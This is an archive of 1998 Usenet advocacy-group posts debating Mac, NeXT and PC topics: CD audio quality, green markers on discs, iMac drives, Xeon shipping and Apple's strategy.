<6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
<gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se>
<gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <1ddt7dk.9a1s22bxngxsN@h209-21-28-225.ncal.verio.net>
Message-ID: <cVIB1.178$7_3.1151451@news.rdc1.sdca.home.com>
Date: Sun, 16 Aug 1998 22:18:48 GMT
NNTP-Posting-Date: Sun, 16 Aug 1998 15:18:48 PDT
Organization: @Home Network
In <1ddt7dk.9a1s22bxngxsN@h209-21-28-225.ncal.verio.net> Mike Paquette wrote:
>
> > > > > Since CD quality stereo is already better quality than 99% of
people can
> > > > > pick up, why do you need better than CD quality sound?
>
> I said to myself, Perhaps I'm missing something by ignoring USENET the
> past few months, and perhaps I should look in and see what the current
> excitement is, said I...
>
> Hmmm... A thread titled "APPLE"S MINDSHARE SKYROCKETING!@1!!!!". Well,
> with all those capital letters and exclamation points, this must be
> pretty exciting. I'll just check out the content...
>
> A classic analog vs digital, transistor vs tube audio CD quality rant
> fest. Oooooh! I'll be the Mac system, Intel, abd NeXT communities are
> really, really interested in THIS!
>
>
It's cute swinging your intellect at a hot, lazy summer frustration fest...
Underneath all that chest thumping and haranguing about CD sound quality are
a bunch of people airing it out in csna .vs. rec.audio.*
I can imagine Tim Berners Lee's reception from *you* had you been around when
he _wanted_ to combine audio, video, text and graphics.
>
> Bah.
>
> unsubscribe...
>
Go back to your cubicle... Think Different on it.
-r
Rex Riley
Date: Sun, 16 Aug 1998 17:37:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608981737340001@elk59.dol.net>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1608980706240001@elk78.dol.net> <35d7388f.75797863@news.iafrica.com>
In article <35d7388f.75797863@news.iafrica.com>, cquirke@iafrica.com wrote:
> On Sun, 16 Aug 1998 07:06:23 -0400, joe.ragosta@dol.net (Joe Ragosta)
>
> >That's what's funny about this whole discussion. People bragging about
> >their high quality PC sound cards run them through a set of speakers that
> >probably sound worse than the home speakers I abandoned 5 years ago.
>
> >Look folks, virtually ANY PC or Mac has better quality sound than your
> >speakers can reproduce--unless you spent upwards of $1000 on speakers for
> >your PC.
>
> Actually, many users don't use peecee speakers at all, the PC sound
> becomes just another input for the hi-fi or studio monitoring system.
> After all, render unto Caeser, and PC vendors aren't speaker kings.
How many people have their PC hooked up to their stereo? Maybe I live a
sheltered life, but I don't know a single person.
Even if you can find some, you'd have to show that their stereo is capable
of doing better than the Mac's onboard sound before you have a point.
There are a lot of junky home stereo systems.
>
> >Granted, there are a few professionals who need better quality, but there
> >are professional quality sound cards for Macs, as well.
>
> Do you still get stuck with a dud sound card inside the case, that
> can't be removed and resold?
No sound card at all--it's built into the motherboard.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: "CD quality" audio, was Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 16:22:42 +1200
Organization: University of Auckland
Message-ID: <p.kerr-1708981622430001@news.auckland.ac.nz>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com> <joe.ragosta-1408982111560001@elk41.dol.net> <6r3062$b68$1@news.spacelab.net>
The maximum possible s/n from a standard 16bit CD is 96dB. (No arguments
about compression, mpeg, etc, please)
Apple's published figures for most of the PowerMac line motherboard audio
is (depending on model, in or out) 80 - 88 dB, which is often claimed to
be "near CD quality"
Note that this is an order of magnitude better than the old NAB standard
of 72 dB ("broadcast quality") which was being used by FM broadcasters
right up until CDs came on the scene.
We have DigiDesign boards in our Macs, and even these have their limitations.
Problem is, that if you spend all your time worrying about little things
like that, one day you find yourself in a concert hall (and I have :-(
listening not to the music, but to the airconditioning, the audience, the
vehicles outside...
--
Peter Kerr bodger
School of Music chandler
University of Auckland New Zealand neo-Luddite
From: Kyle Adams <kadams54@calvin.edu>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 16:29:44 -0500
Organization: Eli Lilly and Company
Message-ID: <35D8A0C8.F8FF97DA@calvin.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100>
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nate wrote:
> Quad Xeons have been shipping for a few weeks now.
Tsk tsk tsk. Not according to an August 10th News.com article. Check it
out at http://www.news.com/News/Item/0,4,25125,00.html and see for yourself.
Kyle
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 17 Aug 1998 21:40:10 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ra7vq$dur@newsb.netnews.att.com>
References: <35ba359f.0@news.depaul.edu> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>
>Just to illustrate how insignificant NT's lack of hardware support
>actually is, I will now ask Joe to name a single hardware product that
>NT cannot support.
Windows NT Magazine, August 1998, talks about the possibly improved
driver support situation with NT 5.0 as compared to 4.0.
Among other things, Connectix QuickCam has no NT 4.0 drivers, according
to the article in the magazine.
-arun gupta
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6r6it7$gta$3500@artemis.backbone.ou.edu>
Control: cancel <6r6it7$gta$3500@artemis.backbone.ou.edu>
Date: 16 Aug 1998 20:50:57 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6r6it7$gta$3500@artemis.backbone.ou.edu>
Sender: <vista@telepath.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 21:48:11 GMT
Organization: Videotron Communications Ltd.
Message-ID: <35d8a477.4237866@news.prosurfr.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net>
"Jeffrey S. Dutky" <dutky@bellatlantic.net> wrote, in part:
>If the green marker were applied to the edge of the CD
>it could easily change the amount of light scattered
>around on the inside of the CD plastic.
It's been found, though, that green markers use ink with solvents that
are likely to damage your CDs.
This is not, however, to say that the high-end criticisms of early CD
players were all wrong.
Oversampling corrected some of the problems; a JVC unit was the first
to address the more subtle problems caused by jitter.
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Followup-To: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Date: 17 Aug 1998 22:04:12 GMT
Organization: University of Maryland, College Park
Message-ID: <6ra9cs$1bi$1@hecate.umd.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu>
Kyle Adams (kadams54@calvin.edu) wrote:
: nate wrote:
: > Quad Xeons have been shipping for a few weeks now.
: Tsk tsk tsk. Not according to an August 10th News.com article. Check it
: out at http://www.news.com/News/Item/0,4,25125,00.html and see for yourself.
Tsk tsk tsk tsk. The article says that the 4 processor 450 MHz versions will
be delayed. In the article, it says...
Prior to Xeon's launch in June, a bug was discovered that caused servers
running four 400-MHz Xeon processors and the 450NX chipset to freeze up.
While that bug was being repaired, a second bug that disabled the error
correction code (ECC) function turned up that
delayed 4-way servers until the end of last month.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
4 way, 400 MHz Xeons are shipping. Warts and all. News.com also says that
Intel has to do extra screening to get acceptable chips out the door, so
there's a backlog for them, but check out www.dell.com, you can configure
a 4 Way 400 MHz Xeon and buy it if you have the gobs of money you want to
spend on a server.
: Kyle
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: edew@netcom.com (Eric Dew)
Subject: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Message-ID: <edewExt44K.Hq0@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <joe.ragosta-1408981927480001@elk72.dol.net> <Pine <joe.ragosta-1508980652460001@elk56.dol.net>
Date: Mon, 17 Aug 1998 00:02:44 GMT
Sender: edew@netcom15.netcom.com
In article <joe.ragosta-1508980652460001@elk56.dol.net> joe.ragosta@dol.net (Joe Ragosta) writes:
>> >
>> > There's a difference.
It's called suckers.
>> Joe, I agree>with yoiur bsic assessment in another post of approximately
>> 20 to 20k as the range. However, you do not allow for equipment
>> degradation, NOR for optimal versus average frequency ratings. Most of
>> thse are rated at optimal, so you'd need something better than the normal
>> range. AFAIC, windows is NEVER just good enough, it is a hideous system.
>
>The point is that, even with equipment degradation, "CD Quality Sound" is
>better than the human ear can differentiate.
>
>I used to laugh at all the CD players advertising their specs. They'd
>fight over whether 20-20k +/- 0.5 db was better than 20-20k +/- 0.7 db. At
>that point, it doesn't matter. Unless you've spent $10,000 on speakers,
>the limiting factor is going to be your speakers.
Or, they're forgetting to buy $75/ft speaker cables or the $3000 pre-amp.
EDEW
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: edew@netcom.com (Eric Dew)
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <edewExt5HI.JBz@netcom.com>
Sender: edew@netcom15.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <35d525ad.0@news.depaul.edu> <gmgraves-15089811 <35D72295.1D53@bellatlantic.net>
Date: Mon, 17 Aug 1998 00:32:06 GMT
In article <35D72295.1D53@bellatlantic.net> dutky@bellatlantic.net writes:
>Concerning the sound quality of audio CDs, Honathan Hendry
>wrote (possibly sarcastic):
>> You need to use a green marker on the edge of the CD.
>
>to which George Graves responded:
>> It helped, believe it or not ... I was part of several
>> double-blind tests which proved conclusively that the
>> green marker changed the sound - often for the better.
>
>and Jacob Fuller followed up with:
>> What exactly does the green marker do?
>
I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
than without the green marking. :-)
EDEW
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Sun, 16 Aug 1998 20:25:12 -0500
Organization: (none)
Message-ID: <jdoherty-1608982025120001@aus-tx21-08.ix.netcom.com>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <Pine <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com>
In article <edewExt44K.Hq0@netcom.com>, edew@netcom.com (Eric Dew) wrote:
| Or, they're forgetting to buy $75/ft speaker cables or the $3000 pre-amp.
Hey, you better watch what you say. Selling useless crap to audiophiles
is an *extremely* lucrative racket (some of those whackos will pay as
much as $50 for a green highlighting pen :-), and if you're not careful,
you could find yourself confronted by some very unpleasant people with
names like "Vinnie the Fish" and "Tony the Mook" who, shall we say, have
an interest in protecting that racket.
A word to the wise, eh?
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <edewExt4HH.I42@netcom.com>
Sender: edew@netcom15.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <35D46AB3.32036B60@ericsson.com> <SCOTT.98Aug14105146@slave.doubleu.com> <6r53mn$79m$1@crib.corepower.com>
Date: Mon, 17 Aug 1998 00:10:29 GMT
In article <6r53mn$79m$1@crib.corepower.com> nurban@vt.edu writes:
>In article <SCOTT.98Aug14105146@slave.doubleu.com>, scott@nospam.doubleu.com (Scott Hess) wrote:
>
>> Digital Webster is an optional install. If you want a definition a
>> command-key and a second away, you install it.
>
>That's what makes Webster a killer app. Services. If I'm composing
>e-mail, or news, or browsing a web page, or whatever, and I want to find
>out what a word means or if it's spelled right, I just double-click
>on it to select it and then hit command-=. If Webster.app is already
>launched (which it always is), this is more-or-less instantaneous.
>This is SO CONVENIENT. I use it all the time!!
Agreed. It's helluva lot better than having MS-Word underline the word
with some wavy green line (which I disable) or force a change in spelling
for you. Of course, on MS shit -- er, stuff, if you're not using MS-Word,
you may not have a spell checker available for the app. Try doing a spell
check from notepad or a telnet window.
Webster.app is one of the best things NeXT has (had?). Porting the concept
to Apple should be in the top priorities.
EDEW
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: nospam@devnull.com (Hath)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Organization: The WebDragon
Message-ID: <nospam-1608982107040001@dhack3-201.cybernex.net>
References: <35d6af93.40724865@news.iafrica.com> <B1FC59FD-3471F@153.36.247.56>
Date: Mon, 17 Aug 1998 01:07:03 GMT
In article <B1FC59FD-3471F@153.36.247.56>, "Wayne Fellows"
<wfellows@*stop_spam*earthlink.net> wrote:
> On Sun, Aug 16, 1998 11:11 AM, cquirke@iafrica.com
> <mailto:cquirke@iafrica.com> wrote:
> >One of the defining things about PCs is that they have had expansion
> >slots from day one. No having to pay a premium for SCSI, no paying
> >extra for the models with PCI slots years after PCI was standard.
>
> Oops, all the IRQs are taken up, can't use my expansion slots... :)
Geez, that prolly would irk the hell outta them <g>
Hath
}B=&]
--
send mail to Hath <at> cyberops <dot> org instead of to the above address.
this is to prevent spamming. e-mail reply-to's have been altered
to prevent scan software from extracting my address for the purpose
of spamming me, which I hate with a passion bordering on obsession.
From: Brian Cho <chobros@shinbiro.com>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: iMac question...
Date: Mon, 17 Aug 1998 09:23:01 +0900
Organization: Shinbiro, HIT(Hyundai Informatin Technology Co., Ltd.)
Message-ID: <35D777E5.C9A694E3@shinbiro.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Is there a port to hook up a Zip drive? or a Spark Drive (only heard
about that from my friend). Maybe iMac doesn't have a floppy, so people
will just go out and hook up these 100MB-1GB drives?
--
__________________________________________
Brian Cho
E-mail: chobros@shinbiro.com
Proud Member of the Phoenix Suns ICQ List:
http://welcome.to/icqsuns/
Read my Starcraft Diary at:
http://members.tripod.com/~starcraftdiary/
__________________________________________
From: scjennings@NOSPAMprowillen.com (Sam Jennings)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Sun, 16 Aug 1998 17:41:18 -0700
Organization: remove NOSPAM from email address
Message-ID: <scjennings-1608981741190001@ppp011.creative.net>
References: <35D777E5.C9A694E3@shinbiro.com>
In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
<chobros@shinbiro.com> wrote:
> Is there a port to hook up a Zip drive? or a Spark Drive (only heard
> about that from my friend). Maybe iMac doesn't have a floppy, so people
> will just go out and hook up these 100MB-1GB drives?
Iomega has announced plans to sell a Zip with a USB connection that will
work with an iMac.
Imation also is making a "Superdrive" that will read and write ordinary
floppy disks, plus their "Superdisks" which will hold 120mb. So this would
give an iMac the ability to read floppies and a Zip-like large-capacity
disk.
I wonder if Superdisk will catch on?
Sam Jennings
San Francisco
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 18:06:53 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D8B78C.46566D88@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
>
> On Mon, 17 Aug 1998 16:15:03 -0500, Michael Peck wrote:
> :Decent dodge, but it doesn't work. I've expressed my opinions on Apple's
> :business direction and pure speculation regarding Apple's plans.
> :Anything I have said regarding MacOS X is public knowledge, and as far
> :as I know, I have not made any technical comments whatsoever regarding
> :its stability.
>
> What would you have them do, besides shutdown the company and return
> the assets to the shareholders? Be another PC cloner?
At this point, I'd settle for shipping a decent operating system and
committing it to a stable future of at least 3 years (roughly one
hardware generation). But there's so much else they could be doing
better, I don't know where to start. How about:
* Open hardware specification with significant licensing program
* A plan for 3D
* An Intel version of this new operating system
* A publicly-stated vision for the future (does not include "wait until
the WWDC")
* A stock price that can sit still instead of fluctuating wildly
More ideas:
* Get out of the hardware business
* Get out of the operating system business
* Ship Yellow Box for NT, Solaris, HP-UX, Irix, and AIX tomorrow
OR
Something else to earn back the $400 million spent on NeXT
Or possibly:
* Admit that MacOS X will run on pre-G3 hardware and we made a big fat
mistake
* Admit that we aren't expecting to make much money on the iMac
* Admit that we have no long-term plans and that very few vendors are
expressing enthusiasm about MacOS X
* Shutdown the company and return the assets to the shareholders
So, maybe some of these don't make sense to anyone else. Doesn't matter
much; MacOS still can't dynamically allocate memory to a running
application. MacOS still can't protect its applications' memory spaces.
MacOS still can't manage its own virtual memory effectively. MacOS still
can't compile GNU tools out of the box. MacOS still can't manage a
network connection efficiently. MacOS still can't be trusted not to
crash several times daily.
In short, anything would be an improvement. But don't let my depression
stop the party. I'm sure everything looks very rosy from over there.
MJP
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 17 Aug 1998 16:23:27 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6raeiu$d9h$1@plo.sierra.com>
References: <35ba359f.0@news.depaul.edu> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se> <6ra7vq$dur@newsb.netnews.att.com>
NNTP-Posting-Date: 17 Aug 1998 23:32:46 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6ra7vq$dur@newsb.netnews.att.com>...
>Michael Peck <Michael.Peck@Ericsson.com> wrote:
>>
>>Just to illustrate how insignificant NT's lack of hardware support
>>actually is, I will now ask Joe to name a single hardware product that
>>NT cannot support.
>
>Windows NT Magazine, August 1998, talks about the possibly improved
>driver support situation with NT 5.0 as compared to 4.0.
>
>Among other things, Connectix QuickCam has no NT 4.0 drivers, according
>to the article in the magazine.
<http://www.connectix.com/html/quickcam__pc__updates.html>
"Connectix Color QuickCam driver for Windows NT 4.0. (posted November 3,
1997)"
"Connectix (Greyscale) QuickCam driver for Windows NT Grayscale QuickCam 2.1
Updater for Windows NT 3.5.1 and higher. (3,023k) 3/97."
####################################################################
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 20:15:41 -0500
Organization: (none)
Message-ID: <jdoherty-1608982015410001@aus-tx21-08.ix.netcom.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>
In article <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
[re: green markers and CDs]
| It helped, believe it or not, in a number of cases. I don't know where my
| green marker is now, but when CDs were relatively new, it did wonders.
You're nuts, and any difference you perceived in this "test" was nothing
more than your imagination.
Show me a double-blind test published in a peer-reviewed acoustic
engineering journal.
hesize that a significant number of bits were being missed
> without the green marker, it doesn't make sense.
That damn red laser just bounces around all over the insides of a CD and
of course reflects off of the edge of the CD to continue its bouncing.
Somehow the light manages to find its way back to the pickup lens and
"fools" it into seeing the bounced light as CD information. The green
magic (good name!) marker reduces the reflections by absorbing most of
the bouncing red beam.
Never mind that measurements of error correction taken before and after
application of the pen don't change, people still hear a difference. Its
one of those audio things that can't be measured.
U
--
email me at:
denash@mindspring.com
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Sun, 16 Aug 1998 22:32:40 -0400
Organization: Manual Labor
Message-ID: <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com>
In article <edewExt5HI.JBz@netcom.com>, edew@netcom.com (Eric Dew) wrote:
> In article <35D72295.1D53@bellatlantic.net> dutky@bellatlantic.net writes:
> >Concerning the sound quality of audio CDs, Honathan Hendry
> >wrote (possibly sarcastic):
> >> You need to use a green marker on the edge of the CD.
> >
> >to which George Graves responded:
> >> It helped, believe it or not ... I was part of several
> >> double-blind tests which proved conclusively that the
> >> green marker changed the sound - often for the better.
> >
> >and Jacob Fuller followed up with:
> >> What exactly does the green marker do?
>
> I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
> than without the green marking. :-)
Did you try it on an Office 4.2.1 CD? I hear that's much improved.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: wagnerer@meson.engin.umich.edu (Eric Wagner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 17 Aug 1998 20:21:43 -0400
Organization: University of Michigan EECS
Message-ID: <wagnerer-1708982021460001@troll.eecs.umich.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com> <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net> <35CF8643.6E9@email.byu.edu>
In article <35CF8643.6E9@email.byu.edu>, Peter Ahlstrom
<pfa@email.byu.edu> wrote:
> George Graves wrote:
>
> > > >As I see it, Apple's (and the Mac's) best chance lies along the
> > > >following lines:
> > > >
> > > >1) Write a version of OSX which will not only run on Intel, but
> > > >will run native Windows apps as if they were Mac apps.
> >
> > They did it once, with a VERY small group. The Project was called
> > "Star Trek" and about a dozen programmers had it running in about
> > three months. I'd say, that it could be done with about the same
> > amount of effort as is now going into OS-X for PPC.
> >
> I'd like to hear an account of this!
> I think if Apple did this they'd be unstoppable. It's the logical step
> up from the rhaptel idea.
Maybe if your company is based on OS sales. Apple is a hardware company so
that determines what the software they release runs on.
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 21:12:57 GMT
Organization: KU
Message-ID: <35d99c53.3859454@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com> <6ra3hc$3no@fridge.shore.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 17 Aug 1998 21:16:28 GMT
On Mon, 17 Aug 1998 16:24:58 -0400, "William Frisbee"
<bfrisbee@fuckspam.webengine-db.com> wrote:
>G3 based at 300MHz
>128 MB ram
>Apple motherboard
>Built in sound
>Built in Video (It is a ATI Rage card)
>SCSI drives and CD-ROM
>Techworks Power3d Voodoo
>
